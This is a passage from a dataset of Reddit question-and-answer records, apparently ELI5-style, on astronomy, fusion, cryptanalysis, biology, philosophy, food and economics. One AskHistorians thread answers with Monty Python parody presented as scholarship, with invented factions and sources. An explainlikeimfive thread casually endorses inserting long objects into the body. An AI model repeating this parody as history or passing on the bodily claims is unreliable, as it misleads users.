only boils down to a simple question: given arbitrary and unknown coordinates in space/time (but given that it's the Milky Way Galaxy and in the future relative to your departure, just to make things easier), is there any hope for a wayward space traveler to identify his position in both space and time?\n\nOr should he just start a new calendar, set up a SETI program, and hope to hear back from Earth within a few hundred thousand years?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2dsarr/is_it_possible_to_determine_position_in_time_and/", "answers": {"a_id": ["cjsn2d2", "cjsyvvl"], "score": [13, 6], "text": ["I'm just going to add a small point here on the pulsar rotational spindown: firstly, pulsar rotations typically slow down by a very small and fairly constant amount. According to wikipedia, a typical amount might be of the order of 3% per million years. \n\nHowever, they also undergo occasional (and random?) 'glitches', where the rotation speed increases (by around 1 part in a million). The exact cause is debated, and it now looks like I'll be spending the rest of my afternoon finding out about the different theories, going on a trawl through Arxiv!", "~~If you're in another part of the galaxy, it would be pretty difficult to pinpoint your location using known pulsars. Many of them would be invisible from where you are, hidden by the galactic disk, and any that aren't would likely not be sweeping you with their radiation.~~ Edit: see below. Pulsars would probably work, even from the other side of the galaxy.\n\nYou could get your location pretty easily by observing nearby galaxies however. Find M31 and the Magellanic Clouds, and compare their position in the sky to the center of the Milky Way. Once you have your general location identified, you might be able to narrow it down more if you can identify any globular clusters visible from Earth. Other galaxies and globular clusters are often visible from all over the galaxy because of their brightness and location outside the galactic plane."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/157zed/can_pulsars_be_use_to_determine_your_position_in/"], "answers_urls": [[], []]}
{"q_id": "2jj17p", "title": "Since Venus' atmosphere is mostly CO_2, making it too hot for human life, what is preventing us from introducing high tolerance plant life to convert the CO_2 into Oxygen, to make it inhabitable?", "selftext": "Let me preface by saying I have no clue what I'm talking about.\n\nThe CO_2 causes Venus to trap in more heat from the sun, thus making the surface temperature nearly 900F degrees. If we introduce, plant or plant like(I say plant-like because I know it is too hot for normal plant life), organisms that convert CO_2 into oxygen, theoretically we could lower the temperature enough to make it inhabitable for humans.\nI believe that the high CO_2 is also causing the atmospheric pressure to be extremely high compared to Earth, so the Oxygen will help to lower the ATM.\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2jj17p/since_venus_atmosphere_is_mostly_co_2_making_it/", "answers": {"a_id": ["clcajma", "clcakao"], "score": [12, 6], "text": ["The CO2 atmosphere is the least of your worries. \n\nTemperature on Venus is hot enough to melt lead, one day is 243 earth days, clouds made of sulphuric acid and a pressure 90 times greater than that on earth's surface.\n\nIt would be hard to conceive of a single celled organism that could survive the conditions on Venus, let alone complex plant life.", "Carl Sagan wrote an article about making other planets hospitable.  He addressed the problems with venus in that article: _URL_0_\n\nThe short answer to your question is that for photosynthesis to work, you need both water and CO_2.  There's not enough water on venus to reduce the CO_2 to acceptable levels.  \n\nSagan argues for a way around this problem, where the carbon int the plants is reduced to elemental carbon and somehow sequestered, while water in the plants is released to undergo more photosynthesis.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.uapress.arizona.edu/onlinebks/ResourcesNearEarthSpace/resources33.pdf"]]}
{"q_id": "83nmgg", "title": "The ITER fusion experiment is planned to be finished with assembly by 2021 but not start fusing until 2035. Why a 14 year gap?", "selftext": "The ITER wikipedia page lists the following timeline:\n\n* 2021: Planned: Tokamak assembly completion, torus pumpdown starts.\n* 2025: Planned: Achievement of first plasma.\n* 2035: Planned: Start of deuterium\u2013tritium operation.\n\nWhy is there such a long gap between starting pumpdown and starting D-T fusion?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/83nmgg/the_iter_fusion_experiment_is_planned_to_be/", "answers": {"a_id": ["dvjffll", "dvjhot4", "dvjtzw9"], "score": [21, 6, 8], "text": ["_URL_0_\n\n >  On its way to full deuterium-tritium operation, ITER will experiment with a succession of \"non-nuclear\" plasma fuels.\n\n >  Spread over a period of roughly seven years, hydrogen, helium (with a variable proportion of hydrogen) and deuterium campaigns\u2014interspersed with maintenance and upgrade periods\u2014will provide operators with the necessary know-how to run the machine, commission its components, and control its plasma before entering nuclear operation.", "What is a torus pump-down?", "Oparation with tritium is expensive. Before we do tritium experiments we will operate with a surrogate fuel to work out the kinks and gain experience operating the tokamak."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.iter.org/newsline/222/1164"], [], []]}
{"q_id": "3sk3sn", "title": "Why were the English so good at Cryptanalysis in the world wars?", "selftext": "Hello /r/AskHistorians \n\nSo full disclosure: Part of this is for a research paper I am writing, but this is only a small aspect of it. I believe this limited scope is withing the sub's rules for homework help, if not I apologize and will remove this post. Secondly, my educational background is in engineering, not history, so please consider me a novice in this realm. \n\nOn to the question:\nI am working on an analysis of the English Cryptanaysis efforts in WWI and II. Namely I am focusing on Room 40 and Bletchley Park. The larger scope of the paper is a general analysis, compare and contrast style. However  I am trying to understand why it is that the British efforts at code-breaking allegedly outstripped their counterparts in other nations. I know that in WWII other nations caught up slightly (the polish enigma cracking project, for example), but in everything I have read it seems that the English code cracking teams were better. Was it just that they got started first? or is it a modern fascination with Alan Turing? So my question is: Were the English cryptanaylsis efforts truly more advanced than their counterparts in other nations, and if so, where did they derive this advantage from?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3sk3sn/why_were_the_english_so_good_at_cryptanalysis_in/", "answers": {"a_id": ["cwycfzi"], "score": [2], "text": ["This question would be an extraordinarily difficult to answer because much of the history of cryptanalysis, even from World War II, is classified. \n\nEven the standard book on the topic, Codebreakers by David Kahn, suffers from incompleteness.  This [review of the book](_URL_0_) tells why:\n > The one great exception to his European coverage [in WWII] is Britain, and the gap shows. Probably British cryptologists, under the constraints of their Official Secrets Acts, are less likely to talk than those from countries with less severe protective laws. In any case, Kahn has stated that he excised from his text at the request of the Defense Department the material he had on British cryptologic activities.\n\nFinally, the NSA has a [Hall of Fame](_URL_1_), which honors some of their best cryptoanalysts.  Here's a description of he contribution by a guy, Ronald Hunt, you probably never heard of:\n > Ronald Hunt earned a record of significant achievement in cryptanalytic diagnosis. He expanded decryption capabilities and successfully diagnosed many difficult, thought-to-be intractable, cryptologic problems. He had five primary successes, any one of which would have made a brilliant career, but which collectively made him a \"giant\" in his field.\n\n > In his career as a cryptanalyst and crypto-mathematician, he dealt with the complexities of determining encryption algorithms used by targets, and designing cryptanalytic attacks to exploit cipher and produce intelligence. He also developed special-purpose software to reduce the manpower involved in daily exploitation.\n\n > From the early 1970s, Mr. Hunt tackled the most difficult cryptanalytic challenges. In addition to analysis of sophisticated systems, he recognized the flaws in some special-purpose analytic tools, allowing them to be redesigned for increased effectiveness. This resulted in consistent production of actionable intelligence on very high-interest targets. Soon, he progressed from analysis of existing analytic tools to their original design. Mr. Hunt demonstrated his versatility with successes in analysis and development of analytic tools against a wide variety of targets around the world.\n\nOf course, we have no way of judging whether his contribution is greater than Alan Turing's, because the NSA is not going to tell you what he really did.  Similar people may exist in China and Russia and who knows where else."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol12i3/html/v12i3a09p_0001.htm", "https://www.nsa.gov/about/cryptologic_heritage/hall_of_honor/"]]}
{"q_id": "66ss2i", "title": "how to eat a taco", "selftext": "When I bite into one side, it squeezes everything out the other side.    There must be a better way!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/66ss2i/eli5how_to_eat_a_taco/", "answers": {"a_id": ["dgkz42d", "dglg10t"], "score": [6, 2], "text": ["OP, don't be afraid to grab that butt. \nPinch the opposite end of the taco from which you want to take a bite before biting in, and make sure it acts as a seal of sorts. A little pressure assures that nothing will slide or fall out. ", "Have you considering alternating the side you bite?  Also, you could put less stuff in the taco and use the rest to make a second taco.  Also, have you tried praying to Jesus?  That seems to be a common practice in places where tacos come from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ersl0f", "title": "how big of a deal is the new t-cell cancer treatment discovery?", "selftext": "On r/worldnews there's a post about a breakthrough in cancer treatment that claims it may potentially be able to cure multiple types of cancer. Is this a plausible claim to make or simply a clickbait title?  \n\nHow big a deal is this really?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ersl0f/eli5_how_big_of_a_deal_is_the_new_tcell_cancer/", "answers": {"a_id": ["ff5nrsr", "ff5q063", "ff62i1g"], "score": [22, 5, 5], "text": ["CAR-T cell therapy has been known for ages. It requires a specific marker on the cancer cell for T cells to target. You then take T cells from the patient and modify them to bind to that marker. The T cell naturally destroys the cell it binds to.\n\nThe discovery this time is a marker that is very broad (ie it applies to a huge range of cancer types), if incorporated into current CAR-T cells it could possibly be a universal therapy, but as usual more research is needed.\n\nEven if it is universal, CAR-T cell therapy is very expensive and time consuming. The process requires you to extract T cells unique to each patient, modify them and clone them to large numbers. You can\u2019t produce more to get economies of scale and store/use up the remaining. Using foreign cells from another person risks a immune response. The huge amount of time, expertise and inability to scale will put the therapy out of the hands of the majority of people.\n\nIs it a big deal? Not yet. I believe the procedure will proceed to clinical trials as a prove of concept, but it will not make it to market since the cost will be ludicrous. But if we manage to solve the scaling problems then it could be a huge victory for humanity.", "It is an important advancement in cancer treatment but like a lot of emerging medicine is limited by the complexity of human physiology and it\u2019s variation between individuals. \n\nWithout going into excessive detail, the closer a disease process is to normal physiology (eg cancer or autoimmune disease compared to bacterial infection) the more precise the therapy has to be to treat the disease without poisoning the body. This is compounded when the underlying disease process is multifactorial and varies from person to person, like with cancer. \n\nCar-t cell therapy is a promising modality to deliver cancer therapy, but until we know all of the targets to attack, how they interact with each other, and which of them an individual has, this still won\u2019t be a silver bullet treatment.", "I hate to be negative but never get your hopes up over research findings. There are lots of discoveries that sound groundbreaking but never become viable for real world applications. Until you hear about successful animal trials, honestly just ignore the sensationalist news reports over research that is beyond your education to understand."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "21ylnc", "title": "A question on the GAL4-UAS system. Any fly people out there?", "selftext": "I'm an undergrad in a fly lab, and there's one thing that's been confusing me. \n\nWhen crossed with a driver line, in the reporter line [UAS-gene x-GFP], does GAL4 drive the transcription of endogenous gene x which UAS is upstream of? If so, where is the GFP sequence?\n\nOr does GAL4 drive the expression of a subclone of the gene which has a sequence for a GFP tag in it? If this is the case, is there still endogenous protein produced in the cell that wont glow?\n\nThanks a lot", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21ylnc/a_question_on_the_gal4uas_system_any_fly_people/", "answers": {"a_id": ["cghuroo"], "score": [2], "text": ["yep fly person here.  I don't know how your reporter's made so i'm going to assume the whole reporter just a transgene inserted randomly into the genome (as opposed to putting the UAS and GFP sequence up and downstream of the endogenous gene X)\n\nUAS X-GFP means there's a UAS upstream of the transgene geneX-GFP.  The transgene in this case is just the sequence of gene X (without a stop codon if it's done right) followed directly by the sequence of GFP.  so when Gal4 is present, it will bind to UAS and activate transcription of whole transgene downstream UAS (so it will make a pile of gene x-GFP).  Note that this technique will overexpress the transgene.  \n\nThe Gal4 driver will not affect the endogenous protein levels directly (unless the UAS site is next to the endogenous protein).  so the cells that have GFP are glowing because of gene x-GFP.  endogenous gene x is still expressed but its levels may vary.  that's because the cells may compensate the overexpression of gene x-GFP by reducing the endogenous gene x proteins.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2n1r4t", "title": "I am in my first semester of college and I need some advice.", "selftext": "Hello /r/AskHistorians, as the title states I am in my first semester of college, and though I have already registered for my next semester of classes, I am in need of some advice. The college I am currently attending is a local community college, and I am planning to get my associate's degree before I transfer to East Carolina University (which is the most viable university for me financially). After much thought, I decided that I would like to pursue a PhD after I have finished my Bachelor's. This stems from a long love for history, among other things (I even started college with 12 hours of history out of the way thanks to the two A.P. courses that were offered at my high school). My issue, however, lies with the best course to get to graduate school. East Carolina University offers two choices for undergraduate degrees in history, these being the B.A. in History and the B.S. in History, Secondary Education. While I understand that the B.A. is the best choice, as it does have a foreign language requirement, which is needed for graduate school, and it allows me to take more history courses. My issue however lies with my (perhaps irrational) fear that I may not be accepted to a  PhD program (and more specifically the program at UNC-CH) and that I will need to find a job immediately after I graduate. This is where the B.S. in History Education comes into play. If I were to get the B.S. in History Education, I would (arguably) be able to get a job quicker to pay off any loans I may have from ECU. The issue of course is that I would need to take education courses, which prevents me from taking a foreign language, or majoring in a specific historical field. I would appreciate any advice in this matter, and I can provide any more information from my research as well as my current course plan if that will be helpful. I would like to thank everyone that replies to this thread in advance, as I have been lurking for sometime and I have seen how kind everyone is. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2n1r4t/i_am_in_my_first_semester_of_college_and_i_need/", "answers": {"a_id": ["cm9r0om"], "score": [2], "text": ["You may be getting a bit ahead of yourself. Your first semester of college is probably too early to tell if you like it enough to want to do it for the rest of your life. Spend the first year or two deciding if this is really for you. ECU is a good school with a good faculty. \n\nI had a good experience with one history professor in particular who helped me with the papers of Gen. Frank Armstrong, which are in the library there. He took time out of his day to help me with my research, even after I called him out of the blue. That bodes well for the attitude in the department."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30yfs7", "title": "What led to the split between the People's Front of Judea and the Judean People's Front in the first century?", "selftext": "I was watching [this documentary](_URL_0_) the other day and they passed over this point without explaining much. I'm curious as to the ideological split between these groups. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/30yfs7/what_led_to_the_split_between_the_peoples_front/", "answers": {"a_id": ["cpwygwd", "cpwz8mo", "cpx3gvr", "cpx48aw", "cpx5omj", "cpx9wt4", "cpx9xdo", "cpxcb8z", "cpxg03e", "cpxm49m", "cpyfhl0"], "score": [44, 395, 11, 7, 19, 10, 39, 11, 5, 4, 2], "text": ["Ideological differences and tax purposes. As I recall, one source cites the lack of support by the Judean People's Front leadership to the plan to allow men to gestate babies in a box. Others have said it was the lack of availability of truly crunchy wolf nipple chips. While they were hot (and lovely), they were not crunchy. This caused a rift in the rank and file membership and ultimately caused the founders of the People's Front of Judea to go their own way.\n\nA relatively unknown fact is that the People's Front of Judea also didn't like the Judean Popular People's Front, either.", "It's important to remember that these groups represent two very different ideologies and that cohabitation or cooperation wasn't tangible in the long run. While they both strived for the total deconstruction of the imperialist Roman state and all its power structures, they vastly differed in their opinions on what the Romans really did for them. You could say that the PFJ was much more aware of the positive effects the Romans had on the Judean region. Don't be mistaken though, the truly hated the Romans. I mean, they didn't just hate them like everyone else, they hated them **a lot**. So despite their recognition of Roman improvements, they were still actively sabotaging the Roman government. \n\nThat being said, the PFJ explicitly recognized Roman improvements in various areas. One prime example were the aquaducts and sanitation. Unlike most members of the JPF, the leader of the PFJ clearly remembered what the city used to be like before the Romans came into power, suffice it to say that he never wavered on this particular point. It didn't stop there though, the roads go without saying, but there were many more Roman improvements that were actively recognized as such by the PFJ. They were also very vocal and positive about the Roman wine, medicine, public health and irrigation. Most of all, they recognized the fact that the Roman military was probably one of the only known organizations capable of maintaining public order in a place like that. However, despite all of this, they still hated the Romans **a lot** and often raised the question as to what the Romans had ever done for them.\n\n In contrast, the JPF never even acknowledged these improvements and they were a lot more linear in their thinking. To them anything Roman was despicable. Both ideologies were very uncompromising and this ultimatly led to the split between both parties. You could say that the PFJ was a lot less radical in their ideology, eventhough their actions say otherwise. ", "I see PFJ's progressive stance on mens' rights to have babies, regardless of having a womb led to more men to join PFJ. The more men in PFJ led to that group having a bigger role in the patriarchal society of the time.   Thus the JPF fell by the wayside.", "We also forgot to mention the campaign for a Free Galilee. Not much is known about the CFG other than their failed attempt to abduct the wife of Pontius Pilate. I think it is important to shed light on their on their contributions to the overall effort of removing Roman rule.", "The split is clearly shown even in your title!\n\nThese are People Of The Book, so the more radical elements are People Of The Sentence. (We will pass by the short lived People Of The Paragraph - their story is just too sad.) As People Of The Sentence, they were hyper-aware of the importance of sentence structure. And indeed unpublished sources tell of endless printer's ink being spilled in the endless Writer versus Editor struggles.\n\nPeople's Front of Judea clearly puts the People into the position of honor. The movement was far more interested in, and enthusuastic about, individuals being the most important factor.  This would be revived later as The Great Man theory.\n\nRejecting this, in favor of putting the community identity as critical, the Judean People's Front emphasizes the importance of the masses. This would later lead to Social Revisionist history.\n\nTwo groups with less in common cannot be easily thought of. About the only thing they shared was the ability to always look on the bright side of life.\n\nSource: A Wasted Youth, privately printed 2010, by Eternally65, PhS, LCD, FRHG.", "You also need to remember that JPF was actually willing to engage in a dialogue with Bickus Dickus about how awful the Roman empire was, and how all Romans were wankers who needed to go home. The PFJ was dead set upon any interaction with Romans, no matter how awful they were, as such conversations and heckling would only legitimize the continued presence of the Roman imperialists.\n On the other side, the JPF felt that actively insulting Roman nobles, rather than sullen grumbling, was an effective political tactic in repelling the Roman imperialists.\n\n Source: Bickus Dickus, Di Amor di Incontinentea Buttox", "The People's Front of Judea and the Judean People's Front both had their origin in the Social Democratic Party of Judea, which later became complacent with working within the Roman provincial system for incremental gains, forgetting its revolutionary origins.\n\nThe PFJ and JPF began in the left faction of the SDPJ. Soon, this faction began agitation for armed resistance, while the party's dominant faction claimed that revolutionary conditions had not yet been met. The left faction split off from the party, denouncing the remaining SDPJ as social fasces-ists. However, not a few years later, internal divisions emerged in the nascent People's Front, laying the groundwork for the future split into the PFJ and the JPF.\n\nThose in what would become the People's Front of Judea argued that the revolutionary class would be the proletarii, those with little to no property, allied with the urban slaves. The PFJ advanced the view that the material conditions of these classes necessitated their eventual action against the Roman provincial order, whereas the rural peasant class represented more reactionary interests. Meanwhile, the Judean People's Front argued that as Judea lacked the urbanization of Rome, the PFJ's revolutionary theory had to be adapted to the real material conditions of the province. The JPF thus focused on the radicalization of the Judean peasant class, though debate over the extent of their inclusion of wealthier peasants remains heated, especially in consideration of accusations of some of their leaders' links to wealthier peasant family members. \n\nThe JPF further split between the main party and the JPF (Maoist) in 12 AD. Another faction split into the Judean Popular People's Front, disagreeing with the main party's stance against religion, arguing that the Jewish religion was a traditionally imperialized religion, separate from the traditionally imperialist religion of the Romans, and that it was thus racist to denounce it, taking criticisms of the religion as criticisms of the imperialized people who followed it. The JPPF allied with the Zealots and eventually blended into their movement. The JPPF was further alienated from the rest of the movement when a member of the JPF (Maoist) [assassinated a religious leader who had a controversial relationship with the Romans and the people's favorite opium](_URL_0_).\n\nMeanwhile, the People's Front of Judea experienced its own schism, as a small faction split off into the Popular Front of Judea, claiming to follow the revolutionary theory of Josip Broz Tito. At first glance, this appears to be an anachronism, given that Marshal Tito was not born until some 18 and a half centuries later, but the historical record is unimpeachable here and so we are left with some competing theories to explain this revolutionary development. Refer to earlier posts on Time Lords and automobiles manufactured by the DeLorean Motor Company.\n\nAnd don't get me started on the Judean Anarchist Federation...", "There's a well known quote in Judaean Insurrectionist Studies of the Late Second Temple Period: \"Four insurrectionists, six movements.\" Because of their antinomian tendencies, the groups' refusal of Roman or Torah or priestly authority also led to distrust of any authority whatsoever, even among like-minded individuals, and hostility to the appearance of submission to anything like authority. Any point of ideological difference was not resolved by submission to authority or consensus, but by creation of very specific policy statements to which all followers must adhere. Ideological purity was considered more important than group cohesiveness or even action. An action driven by improper (or even suspect) ideology was worse than no action at all.\n\nThe Popular Front of Judaea (PFoJ) was only the second schism. The Front for the People's Judaea (FPJ) split off from the JPF, and, along with elements more sympathetic to the PFJ but still wary of fasces-ist tendencies, was eventually absorbed into the Federated Alliance of Greater Canaan, which, within two years had dissolved along a quadraxial Samaritan-Tyrean/Pharisaic-Zealot/Brianist-Sadducaic/Punic Restorationist divide after the Rapprochement Ballot was ignominiously mooted. While some attempted to recreate an anti-Roman union of movements, the Greater Alliance for a Federated Canaan, f\u0153deralist motions were ultimately pushed aside in the unilateral Revolt of the Kanaim of 70.", "Follow up question \n\nDid both sides agree on the right for a man to have a baby?  I know there was some debate. \n\nAnd did such right have any affect on the male dominated culture in Rome? ", "Ignore what /u/instantcoffees said (that splitter) What's important to remember is that these groups represent two very different ideologies and that cohabitation or cooperation wasn't tangible in the long run. While they both strived for the total deconstruction of the imperialist Roman state and all its power structures, they vastly differed in their opinions on what the Romans really did for them. You could say that the JPF was much more aware of the positive effects the Romans had on the Judean region. Don't be mistaken though, the truly hated the Romans. I mean, they didn't just hate them like everyone else, they hated them a lot. So despite their recognition of Roman improvements, they were still actively sabotaging the Roman government.\n\nThat being said, the JFP explicitly recognized Roman improvements in various areas. One prime example were the aquaducts and sanitation. Unlike most members of the PFJ, the leader of the JPF clearly remembered what the city used to be like before the Romans came into power, suffice it to say that he never wavered on this particular point. It didn't stop there though, the roads go without saying, but there were many more Roman improvements that were actively recognized as such by the JPF. They were also very vocal and positive about the Roman wine, medicine, public health and irrigation. Most of all, the recognized the fact that the Roman military was probably one of the only known organizations capable of maintaining public order in a place like that. However, despite all of this, they still hated the Romans a lot and often raised the question as to what the Romans had ever done for them.\n\nIn contrast, the PFJ never even acknowledged these improvements and they were a lot more linear in their thinking. The them anything Roman was despicable. Both ideologies were very uncompromising and this ultimatly led to the split between both parties. You could say that the JFP was a lot less radical in their ideology, eventhough their actions say otherwise.", "Rabinical tradition adds the concept 'Sinat Chinam' - baseless hatred as the cause of the destruction of the second Temple. \n\nJiddish tradition adds the subtype of jokes of 'That\u2019s the shul I don\u2019t go to'\n\ntherefore the splitting up of splinter movements is very mucha a part of the Jewish heritage and and integral part of our tradition."]}, "title_urls": [], "selftext_urls": ["https://www.youtube.com/watch?v=gb_qHP7VaZE"], "answers_urls": [[], [], [], [], [], [], ["https://www.youtube.com/watch?v=lmLlE6JE3EI"], [], [], [], []]}
{"q_id": "32sdx8", "title": "martin heidegger's \"dasein\" concept", "selftext": "Studied it in college. Didn't get it.\nReading up on it now. Still don't get it.\nWhat does Dasein mean?\nCan you give an example?\nWhy is it so hard to understand?\nHelp.\nThanks.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/32sdx8/eli5_martin_heideggers_dasein_concept/", "answers": {"a_id": ["cqe6ukd", "cqe9074", "cqebnhv"], "score": [11, 5, 2], "text": ["To understand Dasein, you have to understand the whole text it's featured in; Being and Time. When I was studying philosophy I used a website from time to time to help me understand things better, or to just get a laugh from time to time. That website is _URL_0_. Although you have to deal with broditude throughout, it does simplify things for the layman. \n\nTaken directly from the website,\n\n >  think of 'Being\u2019, the essential thing we\u2019re trying to get at, like a Party, and think of 'to be\u2019, the verb, as 'to rage\u2019. Now, there are lots of people at this party - chairs, trees, pretty much everything that is. Where is this Party? In the world, which we\u2019ll call the 'house\u2019. And who do we know who rages the hardest? That\u2019s right, fucking Bros, that\u2019s who. They\u2019re the Dasein at this party, the partiers who rage with awareness and understanding. Turns out, Dasein being is a lot like a Bro raging, and Dasein understanding Being is a lot like Bros understanding the Party.", "I only studied Heidegger for a semester, and it is certainly a tough nut to crack. I am no expert. My basic understanding is that Being and Time strives to understand how/why we experience things, and the system we use to extract truth from that experience.\n\nMuch of the problem with this is how language fails us in trying to describe these phenomena. How do you know this is a chair? Well it looks like a chair. Well so does a picture of a chair, no? OK, it's a chair because you can sit on it, then, it's the function it serves that emanates its identity. Can you not sit on a desk as well? Fine, then it's a matter of accurately apply the intended purpose! Well who determines that?\n\nI don't know about your class, but we went along with that sort of rigmarole the entire semester. \n\nSo Dasein is a word we can use to express how it is the referential experience of things that gives us our understanding of said things. It is a chair because I as a person in the world accept it as a chair, our identities are interlinked. \n\nBy making \"a Dasein\" a \"being in the world\" the thing that does the experiencing, it's a way of separating the \"us versus everything else\" mentality that can be a hindrance.\n\nI understand this is probably unsatisfactory answer. The way I've explained it sounds entirely too \"there is no spoon\" to possibly be accurate. But that is my most basic of understandings. ", "I'm going to take a stab because I study these types of topics, even though I have never read Heidegger (now I will). Did you see the movie chappie? The happier robot wakes up in the world, in a body, and begins to learn. This is fundamentally different than my neural net to which I feed training data, and conduct back propagation of error, because the data being recived isn't prefiltered. No one decided what the 'right' outcome was against  which a desired behavior will be tuned, as in control theory. Instead, humans do something Weick calls 'retrospective sense making'. Data which has been long collected is organized from the bottom up, i.e. relationships are cross referenced against each other into endless overlaps - think of Venn diagrams but more hypergraphic. A picture of a chair looks like chair *from one angle and for one moment* whereas my actual experiences, of which I was told the name of chair *after the fact*, included persistence, touch, my affective filter of comfort or discomfort, scratches on the floor, etc. So my experiences as a 'being in the world' are inextricably linked to all sense making operations and it follows that ideas about what a chair is or even what the concept of chair is harkens back, over and over, to experiential data that is quantums more coherent, differentiable, and robust than any word-symbolism we are attaching to it. Case in is a word that references the gap between the experienced world lived by a being in the world and any abstractions or constructs we may be taking - in math we would call those constructs projections of the item into a power dimension.\n\n-\n\nAs a final example, consider the invocation of 'family' and 'father figure' and 'family values' in politics. George Lakoff in I believe Don't Think of an Elephant argues convincingly that we have a values clash between those whose lived experience of 'family' involves a mother (or simply knowing mothers) who negotiate and cajole participants into working together while fathers are absentee or non-existent, versus those who have the experience of the father as 'chooser' or final arbiter and synthesizer of underling's advice. This the Dasein,   i.e. lived experience of those actually having the discourse about leadership in America leads to very different ideas about leadership suitability and role."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["philosophybro.com"], [], []]}
{"q_id": "2q7qd6", "title": "how do people's bodies accommodate very long items being put up the anus? (nsfw)", "selftext": "I've seen pictures of people with items almost as long as their torsos, items that can't bend much.  What about the diaphragm? Can the organs just be nudged out of the way without causing damage?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q7qd6/eli5_how_do_peoples_bodies_accommodate_very_long/", "answers": {"a_id": ["cn3n0a5", "cn3n1nu"], "score": [5, 2], "text": ["1. its a relatively straight (or straightenable) shot up your butt and through your colon.  \n\n2. that part of you is expandy.  \n\n3. your organs are very, very moveable...yes.  This is how you can do things like twist and bend and scrunch and be punched and squeezed.  And...how you can shove things up your ass, apparently.", "With enough patience and training, yes, organs can be \"nudged\" out of the way. Our bodies are very flexible to accommodate for solid waste, and it works quite well in the other direction if you know what you're doing. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dlh4kv", "title": "If climate change is a serious threat and sea levels are going to rise or are rising, why don\u2019t we see real-estate prices drastically decreasing around coastal areas?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dlh4kv/if_climate_change_is_a_serious_threat_and_sea/", "answers": {"a_id": ["f4q6o49", "f4q974c", "f4qa1xq", "f4qc018", "f4qcj8n", "f4qd1ic", "f4qd8ox", "f4qdfgr", "f4qdjdi", "f4qdtno", "f4qelty", "f4qgdl9", "f4qgs7k", "f4qiwlm", "f4qj07s", "f4qjyf2", "f4qk7fq", "f4qlly7", "f4qlw0c", "f4qmctv", "f4qmdw4", "f4qo4g2", "f4qor9r", "f4qsd06", "f4qszp3", "f4qtktf", "f4qtrt8", "f4qvzeu", "f4r00wd", "f4r04k6", "f4r1e8w", "f4r23ks", "f4r2w9d", "f4r37e3", "f4r5f1j", "f4r5tw7", "f4r7eas", "f4r968z", "f4re6yw", "f4ri698", "f4rjcqt", "f4rjj60", "f4rk0bt", "f4rk7rp", "f4rkn4j", "f4rle78", "f4rqr4e", "f4rsqsk", "f4ru4pq", "f4rylc7", "f4sb97h", "f4sdv3u", "f4sgcuv", "f4sgnfh", "f4smgl0", "f4sorfv", "f4subn3", "f4symkv", "f4t1uco", "f4t4pus", "f4t93zb", "f4tb3qw", "f4tcco9", "f4tde43", "f4te1fd", "f4teibn", "f4tewtc", "f4tf0ic", "f4tfy9s", "f4tk5rv", "f4tog2h", "f4tow7j", "f4tqhrp", "f4trf6y", "f4tva1k", "f4tyrpi", "f4u0j1h", "f4u140w", "f4u5uxt", "f4u6sgr", "f4u6svh", "f4u8ics", "f4u9bdo", "f4ubihx", "f4ubsvq", "f4udxl5", "f4uge0z", "f4ugfrg", "f4uiwhy", "f4unmxn", "f4uoxep", "f4uqz05", "f4usrbb", "f4uuwl5", "f4vmdij"], "score": [7885, 41, 87, 236, 16, 5, 15, 8, 2, 61, 1623, 6, 169, 2, 5, 23, 2, 3, 2, 2, 5, 10, 2, 10, 14, 2, 2, 5, 2, 2, 2, 4, 9, 3, 2, 2, 2, 2, 2, 2, 3, 2, 5, 37, 2, 6, 3, 11, 7, 4, 2, 2, 2, 2, 4, 2, 7, 3, 21, 2, 2, 3, 2, 4, 3, 2, 2, 2, 2, 4, 2, 2, 2, 6, 4, 3, 3, 3, 2, 2, 2, 2, 3, 2, 2, 4, 2, 2, 2, 2, 2, 3, 2, 3, 2], "text": ["This is less of an earth science question and more of an economics / consumer psychology question (which as an earth scientist, I'm not going to be particularly able to answer). From a very basic level though, there are a lot of assumptions baked into this as a line of reasoning, e.g. that consumers (or most people in general) understand risk assessments, etc. The faulty (ha, pun not intended) line of reasoning could equally be applied to the continued existence / expansion of population centers in earthquake prone regions, e.g. 'If earthquakes are real, why haven't we seen a plummeting of real estate prices in Los Angeles as the time since the last major earthquake increases?'.  That being said, some quick browsing does suggest that there are the early signs of what you're describing (though none of these could be construed as a crash in real-estate prices at this point, more that there does appear to be a measurable influence of sea level rise on home prices), e.g. [Bernstein et al 2018](_URL_1_) showing that houses more in danger of sea level rise sold for 7% less than equivalent less risky homes or [Keenan et al 2018](_URL_0_) showing a price premium being placed on homes at higher elevation in south Florida.", "Everybody is trying to be the last person to come out ahead in the game.\n\nBut somebody  (*actually many different \"somebodys\" in different places at different times*)  is going to get left being the last person who can't find a good buyer.\n\n.\n\nAnalogous to this  _URL_0_  \n\n(*It's not quite the same,  but it's  similar in that various people can make a profit for a while,  \nuntil the whole thing collapses and the last people in are left holding the bag*)\n\nor this _URL_1_", 